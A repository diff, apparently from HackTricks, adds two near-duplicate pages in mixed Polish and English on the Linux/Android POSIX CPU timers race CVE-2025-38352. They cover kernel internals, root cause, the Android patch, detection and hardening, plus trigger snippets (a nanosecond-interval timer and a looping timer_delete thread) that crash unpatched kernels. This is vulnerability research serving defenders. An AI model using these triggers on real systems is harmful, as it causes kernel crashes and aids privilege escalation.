Translated ['src/binary-exploitation/linux-kernel-exploitation/posix-cpu

src/SUMMARY.md

@@ -937,3 +937,5 @@
 - [Post Exploitation](todo/post-exploitation.md)
 - [Investment Terms](todo/investment-terms.md)
 - [Cookies Policy](todo/cookies-policy.md)
+
+  - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)

src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md

@@ -0,0 +1,195 @@
+# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Ta strona dokumentuje warunek wyścigu TOCTOU w Linux/Android POSIX CPU timers, który może uszkodzić stan timera i spowodować awarię kernela, a w pewnych okolicznościach dać się skierować ku privilege escalation.
+
+- Dotknięty komponent: kernel/time/posix-cpu-timers.c
+- Primitive: wyścig między wygaśnięciem a usunięciem przy zakończeniu zadania
+- Wrażliwe na konfigurację: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (ścieżka wygaśnięcia w kontekście IRQ)
+
+Szybkie przypomnienie wewnętrzności (istotne dla eksploatacji)
+- Trzy zegary CPU odpowiadają za rozliczanie timerów przez cpu_clock_sample():
+- CPUCLOCK_PROF: utime + stime
+- CPUCLOCK_VIRT: tylko utime
+- CPUCLOCK_SCHED: task_sched_runtime()
+- Tworzenie timera wiąże timer z task/pid i inicjalizuje timerqueue nodes:
+```c
+static int posix_cpu_timer_create(struct k_itimer *new_timer) {
+struct pid *pid;
+rcu_read_lock();
+pid = pid_for_clock(new_timer->it_clock, false);
+if (!pid) { rcu_read_unlock(); return -EINVAL; }
+new_timer->kclock = &clock_posix_cpu;
+timerqueue_init(&new_timer->it.cpu.node);
+new_timer->it.cpu.pid = get_pid(pid);
+rcu_read_unlock();
+return 0;
+}
+```
+- Uzbrajanie wstawia do per-base timerqueue i może zaktualizować next-expiry cache:
+```c
+static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
+struct posix_cputimer_base *base = timer_base(timer, p);
+struct cpu_timer *ctmr = &timer->it.cpu;
+u64 newexp = cpu_timer_getexpires(ctmr);
+if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
+if (newexp < base->nextevt) base->nextevt = newexp;
+}
+```
+Szybka ścieżka unika kosztownego przetwarzania, chyba że zbuforowane czasy wygaśnięcia wskazują na możliwe wyzwolenie:
+```c
+static inline bool fastpath_timer_check(struct task_struct *tsk) {
+struct posix_cputimers *pct = &tsk->posix_cputimers;
+if (!expiry_cache_is_inactive(pct)) {
+u64 samples[CPUCLOCK_MAX];
+task_sample_cputime(tsk, samples);
+if (task_cputimers_expired(samples, pct))
+return true;
+}
+return false;
+}
+```
+- Wygaśnięcie zbiera wygasłe timery, oznacza je jako uruchomione, usuwa je z kolejki; faktyczne dostarczenie jest odroczone:
+```c
+#define MAX_COLLECTED 20
+static u64 collect_timerqueue(struct timerqueue_head *head,
+struct list_head *firing, u64 now) {
+struct timerqueue_node *next; int i = 0;
+while ((next = timerqueue_getnext(head))) {
+struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
+u64 expires = cpu_timer_getexpires(ctmr);
+if (++i == MAX_COLLECTED || now < expires) return expires;
+ctmr->firing = 1;                           // critical state
+rcu_assign_pointer(ctmr->handling, current);
+cpu_timer_dequeue(ctmr);
+list_add_tail(&ctmr->elist, firing);
+}
+return U64_MAX;
+}
+```
+Dwa tryby przetwarzania wygaśnięć
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: wygaśnięcie jest odroczone przez task_work na zadaniu docelowym
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: wygaśnięcie obsługiwane bezpośrednio w kontekście IRQ
+```c
+void run_posix_cpu_timers(void) {
+struct task_struct *tsk = current;
+__run_posix_cpu_timers(tsk);
+}
+#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
+tsk->posix_cputimers_work.scheduled = true;
+task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
+}
+#else
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+lockdep_posixtimer_enter();
+handle_posix_cpu_timers(tsk);                  // IRQ-context path
+lockdep_posixtimer_exit();
+}
+#endif
+```
+W ścieżce kontekstu IRQ lista firing jest przetwarzana poza sighand.
+```c
+static void handle_posix_cpu_timers(struct task_struct *tsk) {
+struct k_itimer *timer, *next; unsigned long flags, start;
+LIST_HEAD(firing);
+if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
+do {
+start = READ_ONCE(jiffies); barrier();
+check_thread_timers(tsk, &firing);
+check_process_timers(tsk, &firing);
+} while (!posix_cpu_timers_enable_work(tsk, start));
+unlock_task_sighand(tsk, &flags);              // race window opens here
+list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
+int cpu_firing;
+spin_lock(&timer->it_lock);
+list_del_init(&timer->it.cpu.elist);
+cpu_firing = timer->it.cpu.firing;         // read then reset
+timer->it.cpu.firing = 0;
+if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
+rcu_assign_pointer(timer->it.cpu.handling, NULL);
+spin_unlock(&timer->it_lock);
+}
+}
+```
+Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
+Preconditions
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
+- The target task is exiting but not fully reaped
+- Another thread concurrently calls posix_cpu_timer_del() for the same timer
+
+Sequence
+1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
+2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
+3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
+4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
+5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
+
+Why TASK_WORK mode is safe by design
+- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
+- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
+
+Fix (Android common kernel) and rationale
+- Add an early return if current task is exiting, gating all processing:
+```c
+// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
+if (tsk->exit_state)
+return;
+```
+- To uniemożliwia wejście do handle_posix_cpu_timers() dla zadań wychodzących, eliminując okno, w którym posix_cpu_timer_del() mógłby przegapić it.cpu.firing i spowodować wyścig z przetwarzaniem wygaśnięcia.
+
+Impact
+- Uszkodzenie pamięci jądra w strukturach timerów podczas równoczesnego wygaśnięcia/usuwania może prowadzić do natychmiastowych awarii (DoS) i stanowi silny prymityw do eskalacji uprawnień z powodu możliwości dowolnej manipulacji stanem jądra.
+
+Triggering the bug (safe, reproducible conditions)
+Build/config
+- Upewnij się, że CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n i użyj jądra bez poprawki gate'ującej exit_state.
+
+Runtime strategy
+- Wyceluj w wątek, który ma zaraz zakończyć działanie, i przypnij do niego timer CPU (per-thread lub process-wide):
+- Dla per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+- Dla process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- Uzbrój z bardzo krótkim początkowym czasem wygaśnięcia i małym interwałem, aby zmaksymalizować liczbę wejść w ścieżkę IRQ:
+```c
+static timer_t t;
+static void setup_cpu_timer(void) {
+struct sigevent sev = {0};
+sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
+sev.sigev_signo = SIGUSR1;
+if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
+struct itimerspec its = {0};
+its.it_value.tv_nsec = 1;           // fire ASAP
+its.it_interval.tv_nsec = 1;        // re-fire
+if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
+}
+```
+- Z równoległego wątku jednocześnie usuń ten sam timer, gdy wątek docelowy kończy działanie:
+```c
+void *deleter(void *arg) {
+for (;;) (void)timer_delete(t);     // hammer delete in a loop
+}
+```
+- Race amplifiers: wysoka częstotliwość ticków schedulera, obciążenie CPU, powtarzające się cykle zakończeń i ponownego tworzenia wątków. Awaria zwykle objawia się, gdy posix_cpu_timer_del() pomija wykrycie pola firing z powodu nieudanego wyszukiwania/blokowania tasku tuż po unlock_task_sighand().
+
+Detection and hardening
+- Mitigacja: zastosuj exit_state guard; w miarę możliwości włącz CONFIG_POSIX_CPU_TIMERS_TASK_WORK.
+- Obserwowalność: dodaj tracepoints/WARN_ONCE wokół unlock_task_sighand()/posix_cpu_timer_del(); wyzwalaj alert, gdy it.cpu.firing==1 zostanie zaobserwowane razem z nieudanym cpu_timer_task_rcu()/lock_task_sighand(); monitoruj niespójności timerqueue podczas wychodzenia tasku.
+
+Audit hotspots (for reviewers)
+- update_process_times() → run_posix_cpu_timers() (IRQ)
+- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
+- collect_timerqueue(): sets ctmr->firing and moves nodes
+- handle_posix_cpu_timers(): drops sighand before firing loop
+- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
+
+Notes for exploitation research
+- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.
+
+## Referencje
+- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
+- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
+- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md

@@ -0,0 +1,196 @@
+# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Ta strona dokumentuje błąd wyścigu TOCTOU w Linux/Android POSIX CPU timers, który może uszkodzić stan timera i spowodować awarię jądra, a w pewnych okolicznościach może zostać wykorzystany do privilege escalation.
+
+- Affected component: kernel/time/posix-cpu-timers.c
+- Primitive: expiry vs deletion race under task exit
+- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
+
+Quick internals recap (relevant for exploitation)
+- Three CPU clocks drive accounting for timers via cpu_clock_sample():
+- CPUCLOCK_PROF: utime + stime
+- CPUCLOCK_VIRT: utime only
+- CPUCLOCK_SCHED: task_sched_runtime()
+- Timer creation wires a timer to a task/pid and initializes the timerqueue nodes:
+```c
+static int posix_cpu_timer_create(struct k_itimer *new_timer) {
+struct pid *pid;
+rcu_read_lock();
+pid = pid_for_clock(new_timer->it_clock, false);
+if (!pid) { rcu_read_unlock(); return -EINVAL; }
+new_timer->kclock = &clock_posix_cpu;
+timerqueue_init(&new_timer->it.cpu.node);
+new_timer->it.cpu.pid = get_pid(pid);
+rcu_read_unlock();
+return 0;
+}
+```
+- Uzbrajanie wstawia element do per-base timerqueue i może zaktualizować next-expiry cache:
+```c
+static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
+struct posix_cputimer_base *base = timer_base(timer, p);
+struct cpu_timer *ctmr = &timer->it.cpu;
+u64 newexp = cpu_timer_getexpires(ctmr);
+if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
+if (newexp < base->nextevt) base->nextevt = newexp;
+}
+```
+- Szybka ścieżka unika kosztownego przetwarzania, chyba że zapisane w pamięci podręcznej informacje o wygaśnięciach wskazują na możliwe wywołanie:
+```c
+static inline bool fastpath_timer_check(struct task_struct *tsk) {
+struct posix_cputimers *pct = &tsk->posix_cputimers;
+if (!expiry_cache_is_inactive(pct)) {
+u64 samples[CPUCLOCK_MAX];
+task_sample_cputime(tsk, samples);
+if (task_cputimers_expired(samples, pct))
+return true;
+}
+return false;
+}
+```
+- Wygaśnięcie zbiera wygasłe timery, oznacza je jako wyzwolone, usuwa je z kolejki; rzeczywiste dostarczenie jest odroczone:
+```c
+#define MAX_COLLECTED 20
+static u64 collect_timerqueue(struct timerqueue_head *head,
+struct list_head *firing, u64 now) {
+struct timerqueue_node *next; int i = 0;
+while ((next = timerqueue_getnext(head))) {
+struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
+u64 expires = cpu_timer_getexpires(ctmr);
+if (++i == MAX_COLLECTED || now < expires) return expires;
+ctmr->firing = 1;                           // critical state
+rcu_assign_pointer(ctmr->handling, current);
+cpu_timer_dequeue(ctmr);
+list_add_tail(&ctmr->elist, firing);
+}
+return U64_MAX;
+}
+```
+Dwa tryby przetwarzania wygaśnięć
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: wygaśnięcie jest odkładane przez task_work na docelowym zadaniu
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: wygaśnięcie obsługiwane bezpośrednio w kontekście IRQ
+```c
+void run_posix_cpu_timers(void) {
+struct task_struct *tsk = current;
+__run_posix_cpu_timers(tsk);
+}
+#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
+tsk->posix_cputimers_work.scheduled = true;
+task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
+}
+#else
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+lockdep_posixtimer_enter();
+handle_posix_cpu_timers(tsk);                  // IRQ-context path
+lockdep_posixtimer_exit();
+}
+#endif
+```
+W ścieżce IRQ-context lista firing jest przetwarzana poza sighand.
+```c
+static void handle_posix_cpu_timers(struct task_struct *tsk) {
+struct k_itimer *timer, *next; unsigned long flags, start;
+LIST_HEAD(firing);
+if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
+do {
+start = READ_ONCE(jiffies); barrier();
+check_thread_timers(tsk, &firing);
+check_process_timers(tsk, &firing);
+} while (!posix_cpu_timers_enable_work(tsk, start));
+unlock_task_sighand(tsk, &flags);              // race window opens here
+list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
+int cpu_firing;
+spin_lock(&timer->it_lock);
+list_del_init(&timer->it.cpu.elist);
+cpu_firing = timer->it.cpu.firing;         // read then reset
+timer->it.cpu.firing = 0;
+if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
+rcu_assign_pointer(timer->it.cpu.handling, NULL);
+spin_unlock(&timer->it_lock);
+}
+}
+```
+Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
+
+Preconditions
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
+- The target task is exiting but not fully reaped
+- Another thread concurrently calls posix_cpu_timer_del() for the same timer
+
+Sequence
+1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
+2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
+3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
+4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
+5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
+
+Why TASK_WORK mode is safe by design
+- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
+- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
+
+Fix (Android common kernel) and rationale
+- Add an early return if current task is exiting, gating all processing:
+```c
+// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
+if (tsk->exit_state)
+return;
+```
+- To zapobiega wejściu do handle_posix_cpu_timers() dla zadań wychodzących, eliminując okno, w którym posix_cpu_timer_del() mógłby przeoczyć it.cpu.firing i konkurować z przetwarzaniem wygaśnięcia.
+
+Impact
+- Uszkodzenie pamięci jądra struktur timerów podczas równoczesnego wygaśnięcia/usunięcia może powodować natychmiastowe awarie (DoS) i stanowi silny prymityw do eskalacji uprawnień ze względu na możliwość dowolnej manipulacji stanem jądra.
+
+Triggering the bug (safe, reproducible conditions)
+Build/config
+- Upewnij się, że CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n i użyj jądra bez poprawki kontrolującej exit_state.
+
+Runtime strategy
+- Wskaż wątek, który ma się zakończyć i dołącz do niego CPU timer (zegar per-thread lub dla całego procesu):
+- Dla pojedynczego wątku: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+- Dla całego procesu: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- Ustaw bardzo krótkie początkowe wygaśnięcie i mały interwał, aby zmaksymalizować wejścia do ścieżki IRQ:
+```c
+static timer_t t;
+static void setup_cpu_timer(void) {
+struct sigevent sev = {0};
+sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
+sev.sigev_signo = SIGUSR1;
+if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
+struct itimerspec its = {0};
+its.it_value.tv_nsec = 1;           // fire ASAP
+its.it_interval.tv_nsec = 1;        // re-fire
+if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
+}
+```
+- Z sibling thread, równocześnie usuń ten sam timer, podczas gdy target thread kończy działanie:
+```c
+void *deleter(void *arg) {
+for (;;) (void)timer_delete(t);     // hammer delete in a loop
+}
+```
+- Czynniki nasilające warunki wyścigu: wysoka częstotliwość ticków planisty, obciążenie CPU, powtarzające się cykle zakończenia/wtórnego tworzenia wątków. Awaria zwykle objawia się, gdy posix_cpu_timer_del() pomija wykrycie firing z powodu nieudanego wyszukiwania/blokowania zadania tuż po unlock_task_sighand().
+
+Wykrywanie i zabezpieczenia
+- Środki zaradcze: zastosuj ochronę exit_state; preferuj włączenie CONFIG_POSIX_CPU_TIMERS_TASK_WORK, gdy to możliwe.
+- Obserwowalność: dodaj tracepoints/WARN_ONCE wokół unlock_task_sighand()/posix_cpu_timer_del(); generuj alert, gdy zaobserwowano it.cpu.firing==1 razem z nieudanym cpu_timer_task_rcu()/lock_task_sighand(); obserwuj niespójności w timerqueue wokół exit zadania.
+
+Punkty audytu (dla recenzentów)
+- update_process_times() → run_posix_cpu_timers() (IRQ)
+- wybór __run_posix_cpu_timers() (ścieżka TASK_WORK vs IRQ)
+- collect_timerqueue(): ustawia ctmr->firing i przesuwa węzły
+- handle_posix_cpu_timers(): zwalnia sighand przed pętlą wyzwalania
+- posix_cpu_timer_del(): polega na it.cpu.firing do wykrywania expiry w locie; ta kontrola jest pomijana, gdy wyszukiwanie/blokada zadania nie powiodą się podczas exit/reap
+
+Uwagi do badań nad eksploatacją
+- Ujawnione zachowanie jest wiarygodnym prymitywem powodującym awarię jądra; przekształcenie go w eskalację uprawnień zwykle wymaga dodatkowego kontrolowalnego nakładania się (object lifetime lub write-what-where influence), wykraczającego poza zakres tego streszczenia. Traktuj każdy PoC jako potencjalnie destabilizujący i uruchamiaj wyłącznie w emulatorach/VMs.
+
+## References
+- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
+- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
+- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
+
+{{#include ../../../banners/hacktricks-training.md}}